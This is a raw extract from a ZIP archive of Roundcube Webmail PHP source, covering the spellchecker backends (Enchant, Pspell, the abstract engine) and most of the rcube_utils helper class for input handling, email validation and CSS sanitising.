            $matches = $this->matches;
            $text    = $this->content;
        }

        $result = [];

        foreach ($matches as $m) {
            $result[] = mb_substr($text, $m[1], $m[2], RCUBE_CHARSET);
        }

        return $result;
    }
}
PK
h�\^�W~��.program/lib/Roundcube/spellchecker/enchant.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Spellchecking backend implementation to work with Enchant           |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Spellchecking backend implementation to work with Pspell
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_spellchecker_enchant extends rcube_spellchecker_engine
{
    private $enchant_broker;
    private $enchant_dictionary;
    private $matches = [];

    /**
     * Return a list of languages supported by this backend
     *
     * @see rcube_spellchecker_engine::languages()
     */
    function languages()
    {
        $this->init();

        if (!$this->enchant_broker) {
            return [];
        }

        $langs = [];
        if ($dicts = enchant_broker_list_dicts($this->enchant_broker)) {
            foreach ($dicts as $dict) {
                $langs[] = preg_replace('/-.*$/', '', $dict['lang_tag']);
            }
        }

        return array_unique($langs);
    }

    /**
     * Initializes Enchant dictionary
     */
    private function init()
    {
        if (!$this->enchant_broker) {
            if (!extension_loaded('enchant')) {
                $this->error = "Enchant extension not available";
                return;
            }

            $this->enchant_broker = enchant_broker_init();
        }

        if (!enchant_broker_dict_exists($this->enchant_broker, $this->lang)) {
            $this->error = "Unable to load dictionary for selected language using Enchant";
            return;
        }

        $this->enchant_dictionary = enchant_broker_request_dict($this->enchant_broker, $this->lang);
    }

    /**
     * Set content and check spelling
     *
     * @see rcube_spellchecker_engine::check()
     */
    function check($text)
    {
        $this->init();

        if (!$this->enchant_dictionary) {
            return [];
        }

        // tokenize
        $text = preg_split($this->separator, $text, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

        $diff    = 0;
        $matches = [];

        foreach ($text as $w) {
            $word = trim($w[0]);
            $pos  = $w[1] - $diff;
            $len  = mb_strlen($word);

            if ($this->dictionary->is_exception($word)) {
                // skip exceptions
            }
            else if (!enchant_dict_check($this->enchant_dictionary, $word)) {
                $suggestions = enchant_dict_suggest($this->enchant_dictionary, $word);

                if (is_array($suggestions) && count($suggestions) > self::MAX_SUGGESTIONS) {
                    $suggestions = array_slice($suggestions, 0, self::MAX_SUGGESTIONS);
                }

                $matches[] = [$word, $pos, $len, null, $suggestions];
            }

            $diff += (strlen($word) - $len);
        }

        $this->matches = $matches;
        return $matches;
    }

    /**
     * Returns suggestions for the specified word
     *
     * @see rcube_spellchecker_engine::get_words()
     */
    function get_suggestions($word)
    {
        $this->init();

        if (!$this->enchant_dictionary) {
            return [];
        }

        $suggestions = enchant_dict_suggest($this->enchant_dictionary, $word);

        if (is_array($suggestions) && count($suggestions) > self::MAX_SUGGESTIONS) {
            $suggestions = array_slice($suggestions, 0, self::MAX_SUGGESTIONS);
        }

        return is_array($suggestions) ? $suggestions : [];
    }

    /**
     * Returns misspelled words
     *
     * @see rcube_spellchecker_engine::get_suggestions()
     */
    function get_words($text = null)
    {
        $result = [];

        if ($text) {
            // init spellchecker
            $this->init();

            if (!$this->enchant_dictionary) {
                return [];
            }

            // With Enchant we don't need to get suggestions to return misspelled words
            $text = preg_split($this->separator, $text, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

            foreach ($text as $w) {
                $word = trim($w[0]);

                // skip exceptions
                if ($this->dictionary->is_exception($word)) {
                    continue;
                }

                if (!enchant_dict_check($this->enchant_dictionary, $word)) {
                    $result[] = $word;
                }
            }

            return $result;
        }

        foreach ($this->matches as $m) {
            $result[] = $m[0];
        }

        return $result;
    }
}
PK
h�\����
�
-program/lib/Roundcube/spellchecker/engine.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Interface class for a spell-checking backend                        |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Interface class for a spell-checking backend
 *
 * @package    Framework
 * @subpackage Utils
 */
abstract class rcube_spellchecker_engine
{
    const MAX_SUGGESTIONS = 10;

    protected $lang;
    protected $error;
    protected $dictionary;
    protected $options = [];
    protected $separator = '/[\s\r\n\t\(\)\/\[\]{}<>\\"]+|[:;?!,\.](?=\W|$)/';

    /**
     * Default constructor
     */
    public function __construct($dict, $lang, $options = [])
    {
        $this->dictionary = $dict;
        $this->lang = $lang;
        $this->options = $options;
    }

    /**
     * Return a list of languages supported by this backend
     *
     * @return array Indexed list of language codes
     */
    abstract function languages();

    /**
     * Set content and check spelling
     *
     * @param string $text Text content for spellchecking
     *
     * @return bool True when no misspelling found, otherwise false
     */
    abstract function check($text);

    /**
     * Returns suggestions for the specified word
     *
     * @param string $word The word
     *
     * @return array Suggestions list
     */
    abstract function get_suggestions($word);

    /**
     * Returns misspelled words
     *
     * @param string $text The content for spellchecking. If empty content
     *                     used for check() method will be used.
     *
     * @return array List of misspelled words
     */
    abstract function get_words($text = null);

    /**
     * Returns error message
     *
     * @return string Error message
     */
    public function error()
    {
        return $this->error;
    }
}
PK
h�\ʙ�-program/lib/Roundcube/spellchecker/pspell.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Spellchecking backend implementation to work with Pspell            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Spellchecking backend implementation to work with Pspell
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_spellchecker_pspell extends rcube_spellchecker_engine
{
    private $plink;
    private $matches = [];

    /**
     * Return a list of languages supported by this backend
     *
     * @see rcube_spellchecker_engine::languages()
     */
    function languages()
    {
        $defaults = ['en'];
        $langs    = [];

        // get aspell dictionaries
        exec('aspell dump dicts', $dicts);
        if (!empty($dicts)) {
            $seen = [];
            foreach ($dicts as $lang) {
                $lang  = preg_replace('/-.*$/', '', $lang);
                $langc = strlen($lang) == 2 ? $lang.'_'.strtoupper($lang) : $lang;

                if (empty($seen[$langc])) {
                    $langs[] = $lang;
                    $seen[$langc] = true;
                }
            }

            $langs = array_unique($langs);
        }
        else {
            $langs = $defaults;
        }

        return $langs;
    }

    /**
     * Initializes PSpell dictionary
     */
    private function init()
    {
        if (!$this->plink) {
            if (!extension_loaded('pspell')) {
                $this->error = "Pspell extension not available";
                return;
            }

            $this->plink = pspell_new($this->lang, '', '', RCUBE_CHARSET, PSPELL_FAST);
        }

        if (!$this->plink) {
            $this->error = "Unable to load Pspell engine for selected language";
        }
    }

    /**
     * Set content and check spelling
     *
     * @see rcube_spellchecker_engine::check()
     */
    function check($text)
    {
        $this->init();

        if (!$this->plink) {
            return [];
        }

        // tokenize
        $text = preg_split($this->separator, $text, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

        $diff    = 0;
        $matches = [];

        foreach ($text as $w) {
            $word = trim($w[0]);
            $pos  = $w[1] - $diff;
            $len  = mb_strlen($word);

            if ($this->dictionary->is_exception($word)) {
                // skip exceptions
            }
            else if (!pspell_check($this->plink, $word)) {
                $suggestions = pspell_suggest($this->plink, $word);

                if (count($suggestions) > self::MAX_SUGGESTIONS) {
                    $suggestions = array_slice($suggestions, 0, self::MAX_SUGGESTIONS);
                }

                $matches[] = [$word, $pos, $len, null, $suggestions];
            }

            $diff += (strlen($word) - $len);
        }

        return $this->matches = $matches;
    }

    /**
     * Returns suggestions for the specified word
     *
     * @see rcube_spellchecker_engine::get_words()
     */
    function get_suggestions($word)
    {
        $this->init();

        if (!$this->plink) {
            return [];
        }

        $suggestions = pspell_suggest($this->plink, $word);

        if (count($suggestions) > self::MAX_SUGGESTIONS) {
            $suggestions = array_slice($suggestions, 0, self::MAX_SUGGESTIONS);
        }

        return $suggestions ?: [];
    }

    /**
     * Returns misspelled words
     *
     * @see rcube_spellchecker_engine::get_suggestions()
     */
    function get_words($text = null)
    {
        $result = [];

        if ($text) {
            // init spellchecker
            $this->init();

            if (!$this->plink) {
                return [];
            }

            // With PSpell we don't need to get suggestions to return misspelled words
            $text = preg_split($this->separator, $text, -1, PREG_SPLIT_NO_EMPTY | PREG_SPLIT_OFFSET_CAPTURE);

            foreach ($text as $w) {
                $word = trim($w[0]);

                // skip exceptions
                if ($this->dictionary->is_exception($word)) {
                    continue;
                }

                if (!pspell_check($this->plink, $word)) {
                    $result[] = $word;
                }
            }

            return $result;
        }

        foreach ($this->matches as $m) {
            $result[] = $m[0];
        }

        return $result;
    }
}
PK
h�\-�������%program/lib/Roundcube/rcube_utils.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Utility class providing common functions                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Utility class providing common functions
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_utils
{
    // define constants for input reading
    const INPUT_GET    = 1;
    const INPUT_POST   = 2;
    const INPUT_COOKIE = 4;
    const INPUT_GP     = 3; // GET + POST
    const INPUT_GPC    = 7; // GET + POST + COOKIE


    /**
     * A wrapper for PHP's explode() that does not throw a warning
     * when the separator does not exist in the string
     *
     * @param string $separator Separator string
     * @param string $string    The string to explode
     *
     * @return array Exploded string. Still an array if there's no separator in the string
     */
    public static function explode($separator, $string)
    {
        if (strpos($string, $separator) !== false) {
            return explode($separator, $string);
        }

        return [$string, null];
    }

    /**
     * Helper method to set a cookie with the current path and host settings
     *
     * @param string $name      Cookie name
     * @param string $value     Cookie value
     * @param int    $exp       Expiration time
     * @param bool   $http_only HTTP Only
     */
    public static function setcookie($name, $value, $exp = 0, $http_only = true)
    {
        if (headers_sent()) {
            return;
        }

        $attrib             = session_get_cookie_params();
        $attrib['expires']  = $exp;
        $attrib['secure']   = $attrib['secure'] || self::https_check();
        $attrib['httponly'] = $http_only;

        // session_get_cookie_params() return includes 'lifetime' but setcookie() does not use it, instead it uses 'expires'
        unset($attrib['lifetime']);

        setcookie($name, $value, $attrib);
    }

    /**
     * E-mail address validation.
     *
     * @param string $email     Email address
     * @param bool   $dns_check True to check dns
     *
     * @return bool True on success, False if address is invalid
     */
    public static function check_email($email, $dns_check = true)
    {
        // Check for invalid (control) characters
        if (preg_match('/\p{Cc}/u', $email)) {
            return false;
        }

        // Check for length limit specified by RFC 5321 (#1486453)
        if (strlen($email) > 254) {
            return false;
        }

        $pos = strrpos($email, '@');
        if (!$pos) {
            return false;
        }

        $domain_part = substr($email, $pos + 1);
        $local_part  = substr($email, 0, $pos);

        // quoted-string, make sure all backslashes and quotes are
        // escaped
        if (substr($local_part, 0, 1) == '"') {
            $local_quoted = preg_replace('/\\\\(\\\\|\")/','', substr($local_part, 1, -1));
            if (preg_match('/\\\\|"/', $local_quoted)) {
                return false;
            }
        }
        // dot-atom portion, make sure there's no prohibited characters
        else if (preg_match('/(^\.|\.\.|\.$)/', $local_part)
            || preg_match('/[\\ ",:;<>@]/', $local_part)
        ) {
            return false;
        }

        // Validate domain part
        if (preg_match('/^\[((IPv6:[0-9a-f:.]+)|([0-9.]+))\]$/i', $domain_part, $matches)) {
            return self::check_ip(preg_replace('/^IPv6:/i', '', $matches[1])); // valid IPv4 or IPv6 address
        }
        else {
            // If not an IP address
            $domain_array = explode('.', $domain_part);
            // Not enough parts to be a valid domain
            if (count($domain_array) < 2) {
                return false;
            }

            foreach ($domain_array as $part) {
                if (!preg_match('/^((xn--)?([A-Za-z0-9][A-Za-z0-9-]{0,61}[A-Za-z0-9])|([A-Za-z0-9]))$/', $part)) {
                    return false;
                }
            }

            // last domain part (allow extended TLD)
            $last_part = array_pop($domain_array);
            if (strpos($last_part, 'xn--') !== 0
                && (preg_match('/[^a-zA-Z0-9]/', $last_part) || preg_match('/^[0-9]+$/', $last_part))
            ) {
                return false;
            }

            $rcube = rcube::get_instance();

            if (!$dns_check || !function_exists('checkdnsrr') || !$rcube->config->get('email_dns_check')) {
                return true;
            }

            // Check DNS record(s)
            // Note: We can't use ANY (#6581)
            foreach (['A', 'MX', 'CNAME', 'AAAA'] as $type) {
                if (checkdnsrr($domain_part, $type)) {
                    return true;
                }
            }
        }

        return false;
    }

    /**
     * Validates IPv4 or IPv6 address
     *
     * @param string $ip IP address in v4 or v6 format
     *
     * @return bool True if the address is valid
     */
    public static function check_ip($ip)
    {
        return filter_var($ip, FILTER_VALIDATE_IP) !== false;
    }

    /**
     * Replacing specials characters to a specific encoding type
     *
     * @param string $str      Input string
     * @param string $enctype  Encoding type: text|html|xml|js|url
     * @param string $mode     Replace mode for tags: show|remove|strict
     * @param bool   $newlines Convert newlines
     *
     * @return string The quoted string
     */
    public static function rep_specialchars_output($str, $enctype = '', $mode = '', $newlines = true)
    {
        static $html_encode_arr = false;
        static $js_rep_table    = false;
        static $xml_rep_table   = false;

        if (!is_string($str)) {
            $str = strval($str);
        }

        // encode for HTML output
        if ($enctype == 'html') {
            if (!$html_encode_arr) {
                $html_encode_arr = get_html_translation_table(HTML_SPECIALCHARS);
                unset($html_encode_arr['?']);
            }

            $encode_arr = $html_encode_arr;

            if ($mode == 'remove') {
                $str = strip_tags($str);
            }
            else if ($mode != 'strict') {
                // don't replace quotes and html tags
                $ltpos = strpos($str, '<');
                if ($ltpos !== false && strpos($str, '>', $ltpos) !== false) {
                    unset($encode_arr['"']);
                    unset($encode_arr['<']);
                    unset($encode_arr['>']);
                    unset($encode_arr['&']);
                }
            }

            $out = strtr($str, $encode_arr);

            return $newlines ? nl2br($out) : $out;
        }

        // if the replace tables for XML and JS are not yet defined
        if ($js_rep_table === false) {
            $js_rep_table = $xml_rep_table = [];
            $xml_rep_table['&'] = '&amp;';

            // can be increased to support more charsets
            for ($c=160; $c<256; $c++) {
                $xml_rep_table[chr($c)] = "&#$c;";
            }

            $xml_rep_table['"'] = '&quot;';
            $js_rep_table['"']  = '\\"';
            $js_rep_table["'"]  = "\\'";
            $js_rep_table["\\"] = "\\\\";
            // Unicode line and paragraph separators (#1486310)
            $js_rep_table[chr(hexdec('E2')).chr(hexdec('80')).chr(hexdec('A8'))] = '&#8232;';
            $js_rep_table[chr(hexdec('E2')).chr(hexdec('80')).chr(hexdec('A9'))] = '&#8233;';
        }

        // encode for javascript use
        if ($enctype == 'js') {
            return preg_replace(["/\r?\n/", "/\r/", '/<\\//'], ['\n', '\n', '<\\/'], strtr($str, $js_rep_table));
        }

        // encode for plaintext
        if ($enctype == 'text') {
            return str_replace("\r\n", "\n", $mode == 'remove' ? strip_tags($str) : $str);
        }

        if ($enctype == 'url') {
            return rawurlencode($str);
        }

        // encode for XML
        if ($enctype == 'xml') {
            return strtr($str, $xml_rep_table);
        }

        // no encoding given -> return original string
        return $str;
    }

    /**
     * Read input value and make sure it is a string.
     *
     * @param string $fname      Field name to read
     * @param int    $source     Source to get value from (see self::INPUT_*)
     * @param bool   $allow_html Allow HTML tags in field value
     * @param string $charset    Charset to convert into
     *
     * @return string Request parameter value
     * @see self::get_input_value()
     */
    public static function get_input_string($fname, $source, $allow_html = false, $charset = null)
    {
        $value = self::get_input_value($fname, $source, $allow_html, $charset);

        return is_string($value) ? $value : '';
    }

    /**
     * Read request parameter value and convert it for internal use
     * Performs stripslashes() and charset conversion if necessary
     *
     * @param string $fname      Field name to read
     * @param int    $source     Source to get value from (see self::INPUT_*)
     * @param bool   $allow_html Allow HTML tags in field value
     * @param string $charset    Charset to convert into
     *
     * @return string|array|null Request parameter value or NULL if not set
     */
    public static function get_input_value($fname, $source, $allow_html = false, $charset = null)
    {
        $value = null;

        if (($source & self::INPUT_GET) && isset($_GET[$fname])) {
            $value = $_GET[$fname];
        }

        if (($source & self::INPUT_POST) && isset($_POST[$fname])) {
            $value = $_POST[$fname];
        }

        if (($source & self::INPUT_COOKIE) && isset($_COOKIE[$fname])) {
            $value = $_COOKIE[$fname];
        }

        return self::parse_input_value($value, $allow_html, $charset);
    }

    /**
     * Parse/validate input value. See self::get_input_value()
     * Performs stripslashes() and charset conversion if necessary
     *
     * @param string $value      Input value
     * @param bool   $allow_html Allow HTML tags in field value
     * @param string $charset    Charset to convert into
     *
     * @return string Parsed value
     */
    public static function parse_input_value($value, $allow_html = false, $charset = null)
    {
        if (empty($value)) {
            return $value;
        }

        if (is_array($value)) {
            foreach ($value as $idx => $val) {
                $value[$idx] = self::parse_input_value($val, $allow_html, $charset);
            }

            return $value;
        }

        // remove HTML tags if not allowed
        if (!$allow_html) {
            $value = strip_tags($value);
        }

        $rcube          = rcube::get_instance();
        $output_charset = is_object($rcube->output) ? $rcube->output->get_charset() : null;

        // remove invalid characters (#1488124)
        if ($output_charset == 'UTF-8') {
            $value = rcube_charset::clean($value);
        }

        // convert to internal charset
        if ($charset && $output_charset) {
            $value = rcube_charset::convert($value, $output_charset, $charset);
        }

        return $value;
    }

    /**
     * Convert array of request parameters (prefixed with _)
     * to a regular array with non-prefixed keys.
     *
     * @param int    $mode       Source to get value from (GPC)
     * @param string $ignore     PCRE expression to skip parameters by name
     * @param bool   $allow_html Allow HTML tags in field value
     *
     * @return array Hash array with all request parameters
     */
    public static function request2param($mode = null, $ignore = 'task|action', $allow_html = false)
    {
        $out = [];
        $src = $mode == self::INPUT_GET ? $_GET : ($mode == self::INPUT_POST ? $_POST : $_REQUEST);

        foreach (array_keys($src) as $key) {
            $fname = $key[0] == '_' ? substr($key, 1) : $key;
            if ($ignore && !preg_match('/^(' . $ignore . ')$/', $fname)) {
                $out[$fname] = self::get_input_value($key, $mode, $allow_html);
            }
        }

        return $out;
    }

    /**
     * Convert the given string into a valid HTML identifier
     * Same functionality as done in app.js with rcube_webmail.html_identifier()
     *
     * @param string $str    String input
     * @param bool   $encode Use base64 encoding
     *
     * @return string Valid HTML identifier
     */
    public static function html_identifier($str, $encode = false)
    {
        if ($encode) {
            return rtrim(strtr(base64_encode($str), '+/', '-_'), '=');
        }

        return asciiwords($str, true, '_');
    }

    /**
     * Replace all css definitions with #container [def]
     * and remove css-inlined scripting, make position style safe
     *
     * @param string $source       CSS source code
     * @param string $container_id Container ID to use as prefix
     * @param bool   $allow_remote Allow remote content
     * @param string $prefix       Prefix to be added to id/class identifier
     *
     * @return string Modified CSS source
     */
    public static function mod_css_styles($source, $container_id, $allow_remote = false, $prefix = '')
    {
        $last_pos     = 0;
        $replacements = new rcube_string_replacer;

        // ignore the whole block if evil styles are detected
        $source   = self::xss_entity_decode($source);
        $stripped = preg_replace('/[^a-z\(:;]/i', '', $source);
        $evilexpr = 'expression|behavior|javascript:|import[^a]' . (!$allow_remote ? '|url\((?!data:image)' : '');

        if (preg_match("/$evilexpr/i", $stripped)) {
            return '/* evil! */';
        }

        $strict_url_regexp = '!url\s*\(\s*["\']?(https?:)//[a-z0-9/._+-]+["\']?\s*\)!Uims';

        // remove html comments
        $source = preg_replace('/(^\s*<\!--)|(-->\s*$)/m', '', $source);

        // cut out all contents between { and }
        while (($pos = strpos($source, '{', $last_pos)) && ($pos2 = strpos($source, '}', $pos))) {
            $nested = strpos($source, '{', $pos+1);
            if ($nested && $nested < $pos2) { // when dealing with nested blocks (e.g. @media), take the inner one
                $pos = $nested;
            }
            $length = $pos2 - $pos - 1;
            $styles = substr($source, $pos+1, $length);
            $output = '';

            // check every css rule in the style block...
            foreach (self::parse_css_block($styles) as $rule) {
                // Remove 'page' attributes (#7604)
                if ($rule[0] == 'page') {
                    continue;
                }

                // Convert position:fixed to position:absolute (#5264)
                if ($rule[0] == 'position' && strcasecmp($rule[1], 'fixed') === 0) {
                    $rule[1] = 'absolute';
                }
                else if ($allow_remote) {
                    $stripped = preg_replace('/[^a-z\(:;]/i', '', $rule[1]);

                    // allow data:image and strict url() values only
                    if (
                        stripos($stripped, 'url(') !== false
                        && stripos($stripped, 'url(data:image') === false
                        && !preg_match($strict_url_regexp, $rule[1])
                    ) {
                        $rule[1] = '/* evil! */';
                    }
                }

                $output .= sprintf(" %s: %s;", $rule[0] , $rule[1]);
            }

            $key      = $replacements->add($output . ' ');
            $repl     = $replacements->get_replacement($key);
            $source   = substr_replace($source, $repl, $pos+1, $length);
            $last_pos = $pos2 - ($length - strlen($repl));
        }

        // add #container to each tag selector and prefix to id/class identifiers
        if ($container_id || $prefix) {
            // Exclude rcube_string_replacer pattern matches, this is needed
            // for cases like @media { body { position: fixed; } } (#5811)
            $excl     = '(?!' . substr($replacements->pattern, 1, -1) . ')';
            $regexp   = '/(^\s*|,\s*|\}\s*|\{\s*)(' . $excl . ':?[a-z0-9\._#\*\[][a-z0-9\._:\(\)#=~ \[\]"\|\>\+\$\^-]*)/im';
            $callback = function($matches) use ($container_id, $prefix) {
                $replace = $matches[2];

                if (stripos($replace, ':root') === 0) {
                    $replace = substr($replace, 5);
                }

                if ($prefix) {
                    $replace = str_replace(['.', '#'], [".$prefix", "#$prefix"], $replace);
                }

                if ($container_id) {
                    $replace = "#$container_id " . $replace;
                }

                // Remove redundant spaces (for simpler testing)
                $replace = preg_replace('/\s+/', ' ', $replace);

                return str_replace($matches[2], $replace, $matches[0]);
            };

            $source = preg_replace_callback($regexp, $callback, $source);
        }

        // replace body definition because we also stripped off the <body> tag
        if ($container_id) {
            $regexp = '/#' . preg_quote($container_id, '/') . '\s+body/i';
            $source = preg_replace($regexp, "#$container_id", $source);
        }

        // put block contents back in
        $source = $replacements->resolve($source);

        return $source;
    }

    /**
     * Explode css style. Property names will be lower-cased and trimmed.
     * Values will be trimmed. Invalid entries will be skipped.
     *
     * @param string $style CSS style
     *
     * @return array List of CSS rule pairs, e.g. [['color', 'red'], ['top', '0']]
     */
    public static function parse_css_block($style)
    {
        $pos = 0;

        // first remove comments
        while (($pos = strpos($style, '/*', $pos)) !== false) {
            $end = strpos($style, '*/', $pos+2);

            if ($end === false) {
                $style = substr($style, 0, $pos);
            }
            else {
                $style = substr_replace($style, '', $pos, $end - $pos + 2);
            }
        }

        // Replace new lines with spaces
        $style = preg_replace('/[\r\n]+/', ' ', $style);

        $style  = trim($style);
        $length = strlen($style);
        $result = [];
        $pos    = 0;

        while ($pos < $length && ($colon_pos = strpos($style, ':', $pos))) {
            // Property name
            $name = strtolower(trim(substr($style, $pos, $colon_pos - $pos)));

            // get the property value
            $q = $s = false;
            for ($i = $colon_pos + 1; $i < $length; $i++) {
                if (($style[$i] == "\"" || $style[$i] == "'") && ($i == 0 || $style[$i-1] != "\\")) {
                    if ($q == $style[$i]) {
                        $q = false;
                    }
                    else if ($q === false) {
                        $q = $style[$i];
                    }
                }
                else if ($style[$i] == "(" && !$q && ($i == 0 || $style[$i-1] != "\\")) {
                    $q = "(";
                }
                else if ($style[$i] == ")" && $q == "(" && $style[$i-1] != "\\") {
                    $q = false;
                }

                if ($q === false && (($s = $style[$i] == ';') || $i == $length - 1)) {
                    break;
                }
            }

            $value_length = $i - $colon_pos - ($s ? 1 : 0);
            $value        = trim(substr($style, $colon_pos + 1, $value_length));

            if (strlen($name) && !preg_match('/[^a-z-]/', $name) && strlen($value) && $value !== ';') {
                $result[] = [$name, $value];
            }

            $pos = $i + 1;
        }

        return $result;
    }

    /**
     * Generate CSS classes from mimetype and filename extension
     *
     * @param string $mimetype Mimetype
     * @param string $filename Filename
     *
     * @return string CSS classes separated by space
     */
    public static function file2class($mimetype, $filename)
    {
        $mimetype = strtolower($mimetype);
        $filename = strtolower($filename);

        list($primary, $secondary) = rcube_utils::explode('/', $mimetype);

        $classes = [$primary ?: 'unknown'];

        if (!empty($secondary)) {
            $classes[] = $secondary;
        }

        if (preg_match('/\.([a-z0-9]+)$/', $filename, $m)) {
            if (!in_array($m[1], $classes)) {
                $classes[] = $m[1];
            }
        }

        return implode(' ', $classes);
    }

    /**
     * Decode escaped entities used by known XSS exploits.
     * See http://downloads.securityfocus.com/vulnerabilities/exploits/26800.eml for examples
     *
     * @param string $content CSS content to decode
     *
     * @return string Decoded string
     */
    public static function xss_entity_decode($content)
    {
        $callback = function($matches) { return chr(hexdec($matches[1])); };

        $out = html_entity_decode(html_entity_decode($content));
        $out = trim(preg_replace('/(^<!--|-->$)/', '', trim($out)));
        $out = preg_replace_callback('/\\\([0-9a-f]{2,6})\s*/i', $callback, $out);
        $out = preg_replace('/\\\([^0-9a-f])/i', '\\1', $out);
        $out = preg_replace('#/\*.*\*/#Ums', '', $out);
        $out = strip_tags($out);

        return $out;
    }

    /**
     * Check if we can process not exceeding memory_limit
     *
     * @param int $need Required amount of memory
     *
     * @return bool True if memory won't be exceeded, False otherwise
     */
    public static function mem_check($need)
    {
        $mem_limit = parse_bytes(ini_get('memory_limit'));
        $memory    = function_exists('memory_get_usage') ? memory_get_usage() : 16*1024*1024; // safe value: 16MB

        return $mem_limit > 0 && $memory + $need > $mem_limit ? false : true;
    }

    /**
     * Check if working in SSL mode
     *
     * @param int  $port      HTTPS port number
     * @param bool $use_https Enables 'use_https' option checking
     *
     * @return bool True in SSL mode, False otherwise
     */
    public static function https_check($port = null, $use_https = true)
    {
        if (!empty($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) != 'off') {
            return true;
        }

        if (!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])
            && strtolower($_SERVER['HTTP_X_FORWARDED_PROTO']) == 'https'
            && self::check_proxy_whitelist_ip()
        ) {
            return true;
        }

        if ($port && isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == $port) {
            return true;
        }

        if ($use_https && rcube::get_instance()->config->get('use_https')) {
            return true;
        }

        return false;
    }

    /**
     * Check if the reported REMOTE_ADDR is in the 'proxy_whitelist' config option
     */
    public static function check_proxy_whitelist_ip() {
        return in_array($_SERVER['REMOTE_ADDR'], (array) rcube::get_instance()->config->get('proxy_whitelist', []));
    }

    /**
     * Replaces hostname variables.
     *
     * @param string $name Hostname
     * @param string $host Optional IMAP hostname
     *
     * @return string Hostname
     */
    public static function parse_host($name, $host = '')
    {
        if (!is_string($name)) {
            return $name;
        }

        // %n - host
        $n = self::server_name();
        // %t - host name without first part, e.g. %n=mail.domain.tld, %t=domain.tld
        // If %n=domain.tld then %t=domain.tld as well (remains valid)
        $t = preg_replace('/^[^.]+\.(?![^.]+$)/', '', $n);
        // %d - domain name without first part (up to domain.tld)
        $d = preg_replace('/^[^.]+\.(?![^.]+$)/', '', self::server_name('HTTP_HOST'));
        // %h - IMAP host
        $h = !empty($_SESSION['storage_host']) ? $_SESSION['storage_host'] : $host;
        // %z - IMAP domain without first part, e.g. %h=imap.domain.tld, %z=domain.tld
        // If %h=domain.tld then %z=domain.tld as well (remains valid)
        $z = preg_replace('/^[^.]+\.(?![^.]+$)/', '', $h);
        // %s - domain name after the '@' from e-mail address provided at login screen.
        //      Returns FALSE if an invalid email is provided
        $s = '';
        if (strpos($name, '%s') !== false) {
            $user_email = self::idn_to_ascii(self::get_input_value('_user', self::INPUT_POST));
            $matches    = preg_match('/(.*)@([a-z0-9\.\-\[\]\:]+)/i', $user_email, $s);
            if ($matches < 1 || filter_var($s[1]."@".$s[2], FILTER_VALIDATE_EMAIL) === false) {
                return false;
            }
            $s = $s[2];
        }

        return str_replace(['%n', '%t', '%d', '%h', '%z', '%s'], [$n, $t, $d, $h, $z, $s], $name);
    }

    /**
     * Parse host specification URI.
     *
     * @param string $host       Host URI
     * @param int    $plain_port Plain port number
     * @param int    $ssl_port   SSL port number
     *
     * @return array An array with three elements (hostname, scheme, port)
     */
    public static function parse_host_uri($host, $plain_port = null, $ssl_port = null)
    {
        if (preg_match('#^(unix|ldapi)://#i', $host, $matches)) {
            return [$host, $matches[1], -1];
        }

        $url    = parse_url($host);
        $port   = $plain_port;
        $scheme = null;

        if (!empty($url['host'])) {
            $host   = $url['host'];
            $scheme = $url['scheme'] ?? null;

            if (!empty($url['port'])) {
                $port = $url['port'];
            }
            else if (
                $scheme
                && $ssl_port
                && ($scheme === 'ssl' || ($scheme != 'tls' && $scheme[strlen($scheme) - 1] === 's'))
            ) {
                // assign SSL port to ssl://, imaps://, ldaps://, but not tls://
                $port = $ssl_port;
            }
        }

        return [$host, $scheme, $port];
    }

    /**
     * Returns the server name after checking it against trusted hostname patterns.
     *
     * Returns 'localhost' and logs a warning when the hostname is not trusted.
     *
     * @param string $type       The $_SERVER key, e.g. 'HTTP_HOST', Default: 'SERVER_NAME'.
